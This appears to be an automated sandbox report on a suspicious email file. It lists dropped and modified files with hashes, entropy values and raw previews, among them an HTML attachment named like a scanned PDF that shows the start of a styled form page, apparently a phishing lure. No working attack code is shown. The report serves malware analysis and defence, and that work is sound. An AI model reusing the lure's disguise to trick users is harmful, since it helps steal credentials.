            Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Q.u.v.p.S.K.d.q.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.M.j.g.X.C.

            C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):4542
            Entropy (8bit):4.0015448223028285
            Encrypted:false
            SSDEEP:
            MD5:136DA56CFBE9551730A0A662D9D92B9D
            SHA1:D8D0D7B6A7BD1F273C59316C6BE43E98C2DD397B
            SHA-256:E562993C61C6CE67C117C2BF0271684B8E90C36F658903BEF587C7C60F4F2083
            SHA-512:05E8A4B4AC965B08E44B617A709621D5B11402F5A81F6E2541D160A7AED1C11C3A6C7639DCDCC7356993D4FFF8E23A85A9715D29EF48F7BC7F4AFFD66DB4AB2B
            Malicious:false
            Reputation:unknown
            Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".D.U.h.r.F.9.Z.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.M.j.g.X.C.

            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF (002).html

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:HTML document, ASCII text, with very long lines (498), with CRLF line terminators
            Category:dropped
            Size (bytes):11269
            Entropy (8bit):5.083587802598216
            Encrypted:false
            SSDEEP:
            MD5:1DD8C09B36BBCC56EADE6292C9585E69
            SHA1:4525639C3FBF60E8A04302C55822DB0A15472C2A
            SHA-256:826E4988590FB4CF8FA9F9B7EF5DEA5837373FC6F1DEB1DAB00F94091A0225D8
            SHA-512:D4A390922F2C2DCB1B703CCEDB7E5EA9C5DC45C00096A7329AF9BAEB29A5804CCD45DB1946A826E58B419C169AD46C31CEB96AA2D4D519976824B02D3743E68A
            Malicious:false
            Reputation:unknown
            Preview:<html><head>.. <title>continue</title>.. <style>.. body {.. background-color: #FFFFFF..; .. display: flex;.. justify-content: center;.. align-items: center;.. height: 100vh;.. }...... h1 {.. text-align: center;.. }.... form {.. display: flex;.. flex-direction: column;.. }.... label {.. margin-bottom: 15px;.. }.... input {.. padding: 10px;.. margin-bottom: 25px;.. border-radius: 10px;.. border: 1px solid #ccc;.. }.... button {.. padding: 10px 20px;.. background-color: #3498db;.. color: white;.. border: none;.. border-radius: 3px;.. cursor: pointer;.. }.... button:hover {.. background-color: #45a049;.. }.. </style>..<meta http-equiv="X-UA-Compatible" content="IE=edge">..</head>..<body>.. <div class="container" style="width: 217px; height: 489px;"><p><strong>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br>..</strong>..<img width="246"

            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF (002).html:Zone.Identifier

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:ASCII text, with CRLF line terminators
            Category:modified
            Size (bytes):26
            Entropy (8bit):3.95006375643621
            Encrypted:false
            SSDEEP:
            MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
            SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
            SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
            SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
            Malicious:false
            Reputation:unknown
            Preview:[ZoneTransfer]..ZoneId=3..

            C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1733925962251647300_79CB47D5-24CF-4469-B7E1-F4912ADDD365.log

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:ASCII text, with very long lines (859), with CRLF line terminators
            Category:dropped
            Size (bytes):20971520
            Entropy (8bit):0.007109717045962781
            Encrypted:false
            SSDEEP:
            MD5:E3CE69ADE9A250F90C28FB7E3BF5F78E
            SHA1:3D45731A50801FD88BCEADE2D473015905F8F8B6
            SHA-256:017D58F2DD144098827D691651BEC3F34744198F8BBADC22B98C7391A2B9B036
            SHA-512:0988023259842CD2BC0443433532A8AB0C7FBC14EA04D43521E345EDB7867D308F33D55E9017B1023E76FB4E37C892107DFCC801886D219022345CB23EA8298C
            Malicious:false
            Reputation:unknown
            Preview:Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 14:06:02.280.OUTLOOK (0x1B14).0x1B18.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.System.GracefulExit.GracefulAppExitDesktop","Flags":33777014402039809,"InternalSequenceNumber":23,"Time":"2024-12-11T14:06:02.280Z","Data.PreviousAppMajor":16,"Data.PreviousAppMinor":0,"Data.PreviousAppBuild":16827,"Data.PreviousAppRevision":20130,"Data.PreviousSessionId":"8D9EA5CF-AF7F-4E20-A597-BF8912C8186D","Data.PreviousSessionInitTime":"2024-12-11T14:05:46.469Z","Data.PreviousSessionUninitTime":"2024-12-11T14:05:49.782Z","Data.SessionFlags":2147483652,"Data.InstallMethod":0,"Data.OfficeUILang":1033,"Data.PreviousBuild":"Unknown","Data.EcsETag":"\"\"","Data.ProcessorArchitecture":"x64"}...12/11/2024 14:06:02.311.OUTLOOK (0x1B14).0x1B8C.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":28

            C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1733925962252492100_79CB47D5-24CF-4469-B7E1-F4912ADDD365.log

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):20971520
            Entropy (8bit):0.0
            Encrypted:false
            SSDEEP:
            MD5:8F4E33F3DC3E414FF94E5FB6905CBA8C
            SHA1:9674344C90C2F0646F0B78026E127C9B86E3AD77
            SHA-256:CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
            SHA-512:7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
            Malicious:false
            Reputation:unknown
            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241211T0906020008-6932.etl

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:modified
            Size (bytes):200704
            Entropy (8bit):4.850495440965877
            Encrypted:false
            SSDEEP:
            MD5:D4BE0938F8D675A73279E9BCF443664D
            SHA1:AC693AAF8F7D505063E6F25DE11F3629BD5D04DE
            SHA-256:55E2E0EB943F5C6B8988A64540428E7B4BA7B475A968844E0A054493CD019B85
            SHA-512:483F6EABDFF27A080CBAAF8C92A2DA8D1153315ECD437E3A810DE2F1E0CB8CF1E90D416C6E5CAEB1742D55A38EC7A12790ED3EC2278D62F0EAFE4A364008C84B
            Malicious:false
            Reputation:unknown
            Preview:............................................................................d...........,K...K..................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1................................................................Y..........,K...K..........v.2._.O.U.T.L.O.O.K.:.1.b.1.4.:.4.9.8.6.e.8.f.3.9.b.c.c.4.b.2.8.a.f.b.b.2.f.2.4.d.6.8.2.0.3.c.f...C.:.\.U.s.e.r.s.\.t.o.r.r.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.2.1.1.T.0.9.0.6.0.2.0.0.0.8.-.6.9.3.2...e.t.l...........P.P.........,K...K..................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):30
            Entropy (8bit):1.2389205950315936
            Encrypted:false
            SSDEEP:
            MD5:5548819B89F8595B5CE70FD6AC0A8C2E
            SHA1:EF1E142B56E0A2BA42C578D72667E6715FB33253
            SHA-256:0A4CA0C7722D4AF8621CBE312CACB96FC0F55A31909AD273B1E066C4E293E6EA
            SHA-512:B62200D6F2F8016E599D6D6815B6FE178B97E2BD144A89382DFD1A0312344190B68F2324B18342AD8A9D0B25977FD74F7699C01A3D9F482838BBAB293F73C6F1
            Malicious:false
            Reputation:unknown
            Preview:....D.........................

            C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:Composite Document File V2 Document, Cannot read section info
            Category:dropped
            Size (bytes):16384
            Entropy (8bit):0.6704210865829106
            Encrypted:false
            SSDEEP:
            MD5:964D2E95936205325ABCFFD699590FCD
            SHA1:50267A6162B8E68F1814FE4A9F306EE923005828
            SHA-256:6EA2469A4841B389BA943531E8DAF08CF130A24E3D44EE4D4A913AD9BC219A67
            SHA-512:F027C1C4DD9466CB93495A09E92B6B04DD3EB3E2DD174145CA0BF7C667F02B67B3CB603245B8E4DED88BC592D6B88D0E955465983EC6ED3F0C63191474100477
            Malicious:true
            Reputation:unknown
            Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

            Download File
            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 13:06:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
            Category:dropped
            Size (bytes):2677
            Entropy (8bit):3.9938258235707527
            Encrypted:false
            SSDEEP:
            MD5:BA935CDF40C45607983CC5DD8FE5FC03
            SHA1:E173E9233C92AFE42A2E6E893BDD06E199570B5F
            SHA-256:7C8F8AF9FF38BBCFA89323EBB17E932771CF981036D04E56A9804B88DA694DBA
            SHA-512:2FD62CC0C9C27F1D380E33ABEC97E19E3F33AD6AD62696931D9C233F4F40279AEF58D15DDE4EABDB8CCB3790694113B9724D92674C2A7EE610D7D93E94E8DF98
            Malicious:false
            Reputation:unknown
            Preview:L..................F.@.. ...$+.,.........K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.p....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

            Download File
            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 13:06:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
            Category:dropped
            Size (bytes):2679
            Entropy (8bit):4.008476050403262
            Encrypted:false
            SSDEEP:
            MD5:5F330699E2206311927E03E9DA5169EF
            SHA1:D6D36CBBC72ACDC95BCD1346E4238FB6E3204F28
            SHA-256:1649BE984537A9589734526BCABACD6A57FA1F1564A16AC3C7ECD9A9AC94E21A
            SHA-512:16B2A4FD62E65893461EF2CCD8758903D4826584A47EEB4AB1994F486440A4E5B6E0DD367978D47CE2D675E3FF6FDBD940EF11F0078F5E02390A542351D7C37A
            Malicious:false
            Reputation:unknown
            Preview:L..................F.@.. ...$+.,....7.|..K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.p....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

            Download File
            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
            Category:dropped
            Size (bytes):2693
            Entropy (8bit):4.016786179878468
            Encrypted:false
            SSDEEP:
            MD5:527FFCBF3B44B178FBD683F5875F14C1
            SHA1:3CC73F9A3D80468CAE16D5028354627F6E315CB0
            SHA-256:24B3E7291152ADA7A622ED5C7EDC180451807DE9D5B1DA87996F37E20C825057
            SHA-512:E16470EFCF39FBBEDDA934D0EED60E87563B3CF56D7753C296A314D7A4D7CF9A2CD1D51544045607689BCBC1055FE4ABB2247F36C447377017E0E422C3975F22
            Malicious:false
            Reputation:unknown
            Preview:L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.p....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

            Download File
            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 13:06:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
            Category:dropped
            Size (bytes):2681
            Entropy (8bit):4.008115000352306
            Encrypted:false
            SSDEEP:
            MD5:B3F54DE4AB98F616BF61C1B5D3615764
            SHA1:86122A501528232E9C95100A284BBF1EB34B9CCC
            SHA-256:352F3A20F3FBA2C127F6E1AAD8D6C26FEEABA145B831A5DA2E8AE69DC6DADBC7
            SHA-512:5A24A4C086D5F7963861334E265BC393E7BB50481008112DA6A881C670632E43A2AFAEEBDE2672351B04049E66422083ED1145940E5879CD17051311035EA1A9
            Malicious:false
            Reputation:unknown
            Preview:L..................F.@.. ...$+.,......v..K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.p....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

            Download File
            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 13:06:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
            Category:dropped
            Size (bytes):2681
            Entropy (8bit):3.997511566967872
            Encrypted:false
            SSDEEP:
            MD5:2136B8807D87D83EAF865CF3AC21D93E
            SHA1:CC3294BDFF6CDA910FB5B3E61C4AE4334F06516C
            SHA-256:3FC95C2939B739CB6244D7E2F3398E4126032CD8F583FB06C469F2B707C773B2
            SHA-512:BE332FA7FC89DEE8FD388D24472880784C49984F52D5D31847983C4552C09615806FC0866D15CA930B49C5516963A343F60AA7A25501BA231B70036C16B7B220
            Malicious:false
            Reputation:unknown
            Preview:L..................F.@.. ...$+.,.........K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.p....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

            Download File
            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 13:06:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
            Category:dropped
            Size (bytes):2683
            Entropy (8bit):4.006041612597683
            Encrypted:false
            SSDEEP:
            MD5:7C819B2FB862B837CCDB7711B0C7D6F0
            SHA1:B56D2D7B926D94759E1CCDEB46C3EE740CCA4827
            SHA-256:0DF4F07A4959F87E4AE6B1C981A718C75B7F2AC8FAABA1782583A6C625252290
            SHA-512:B39AEF946A89DFE5C4D9165F04F4A282B1F3851A9EA4FBD4803F0E368B8C4C9A71E080873402EA472DA4D3AF17D3222E90B70D84E90F194EE31173AB9A52FC29
            Malicious:false
            Reputation:unknown
            Preview:L..................F.@.. ...$+.,.....qm..K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.p....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

            C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:Microsoft Outlook email folder (>=2003)
            Category:dropped
            Size (bytes):271360
            Entropy (8bit):2.322258767690277
            Encrypted:false
            SSDEEP:
            MD5:0806EE4E528C9AFEDAD17A569C4D7F52
            SHA1:80BF1C4C406154B1434119384AF63EC4C80264DE
            SHA-256:4DFA9B9D7635E83221AAEE1FA977E204C15D0A934FE9DAD1F72A764FFFF55272
            SHA-512:1CE6B7E3479239E2D088ED2E9515D497FD9126C2B4B645F39E5780C09FA4B00A94C2C35654232FCCC97221F0E91CE60A8FF04E8D8E151BB4D03BF78D1A13EEAC
            Malicious:true
            Reputation:unknown
            Preview:!BDN..SM......\..............@.......a................@...........@...@...................................@...........................................................................$.......D......................?........X......<...........................................................................................................................................................................................................................................................................................@........gB........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

            C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

            Download File
            Process:C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
            File Type:data
            Category:dropped
            Size (bytes):131072
            Entropy (8bit):3.453206009895135
            Encrypted:false
            SSDEEP:
            MD5:07BBD3A3612687A5C3FEF420CDF30126
            SHA1:A297E707AEF087D46EE73CF5307EEB095B04212D
            SHA-256:514FB11D44E5729A3F88DEEAD089B77439EFAA4A8DB59AA5C3C55B1BAF44018C
            SHA-512:B02DA6937426FE8B4C71D32C9E266B7F8FED23C37D65E0DC81C14B4D38B822B3EB2A1E4F1AF29A1DE06C83AE90C93502C52C5C20791B9F33BA6FFEC21351E109
            Malicious:true
            Reputation:unknown
            Preview:.gg|C...M.............m..K....................#.!BDN..SM......\..............@.......a................@...........@...@...................................@...........................................................................$.......D......................?........X......<...........................................................................................................................................................................................................................................................................................@........gB......m..K.......B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

            Static File Info

            General

            File type:RFC 822 mail, ASCII text, with CRLF line terminators
            Entropy (8bit):5.978981528756634
            TrID:
            • E-Mail message (Var. 5) (54515/1) 100.00%
            File name:Message_2712729.eml
            File size:21'625 bytes
            MD5:90ed7412328fad831e595ed0475852cf
            SHA1:feb758a29bfaf934e36a6383296f5873d9c3aaf9
            SHA256:fd21e604da34e5026db634303e3fce31d3c8c42d0e3bb84abeb5e293d9fd1f0b
            SHA512:da156f83d35661fa9e46c36dce1f5a5831d759066f42de8fd5af6854dbbf00d71f5658011f1c357f81d89c57c9c3a5859430b2f6c6f00007a1273b56f7d9bbba
            SSDEEP:384:OFWpN8Y+Q86+AXg+AXbzp+AXISHq++eDNaI2kc3GD/yErh3BCofp76DHZyZDc8++:OFWpr+QqMlMbzwMI2dJNf2kYSyeh3BCg
